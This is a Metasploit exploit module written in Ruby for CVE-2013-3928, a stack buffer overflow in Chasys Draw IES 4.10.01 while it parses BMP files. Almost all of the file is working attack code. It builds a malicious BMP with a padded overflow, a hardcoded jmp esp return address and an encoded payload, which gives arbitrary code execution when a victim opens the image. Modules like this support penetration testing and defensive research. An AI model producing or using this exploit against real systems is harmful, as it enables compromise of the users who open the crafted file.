##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Chasys Draw IES Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability found in Chasys Draw IES
(version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while
parsing BMP files, where the ReadFile function is used to store user provided data
on the stack in a insecure way. It results in arbitrary code execution under the
context of the user viewing a specially crafted BMP file. This module has been
tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7
SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Christopher Gabriel', # Vulnerability Discovery
'Longinos Recuero Bustos', # PoC
'Javier \'soez\'', # PoC
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-3928' ],
[ 'BID', '61463' ],
[ 'URL', 'http://secunia.com/advisories/53773/' ],
[ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ]
],
'Payload' =>
{
'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1',
{
'Offset' => 65536,
'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jul 26 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']),
], self.class)
end
def exploit
bof = rand_text(target['Offset'])
bof << [target.ret].pack("V")
bof << payload.encoded
bitmap_header = ""
bitmap_header << [0x28].pack("V") # HeaderSize
bitmap_header << [0x4a3].pack("V") # Width # Used to trigger the overflow
bitmap_header << [0x1].pack("V") # Height
bitmap_header << [0x9].pack("v") # Planes # Used to trigger the overflow
bitmap_header << [0x41].pack("v") # BitCount # Used to trigger the overflow
bitmap_header << [0x0].pack("V") # Compression
bitmap_header << [bof.length].pack("V") # SizeImage
bitmap_header << [0x0].pack("V") # PelsPerMeterX
bitmap_header << [0x0].pack("V") # PelsPerMeterY
bitmap_header << [0x0].pack("V") # ClrUse
bitmap_header << [0x0].pack("V") # ClrImportant
total_size = bof.length + bitmap_header.length + 14 # 14 => file header length
file_header = ""
file_header << "BM" # Signature
file_header << [total_size].pack("V") # Size
file_header << [0].pack("V") # Reserved
file_header << [0x36].pack("V") # BitsOffsets
bmp = file_header + bitmap_header + bof
file_create(bmp)
end
end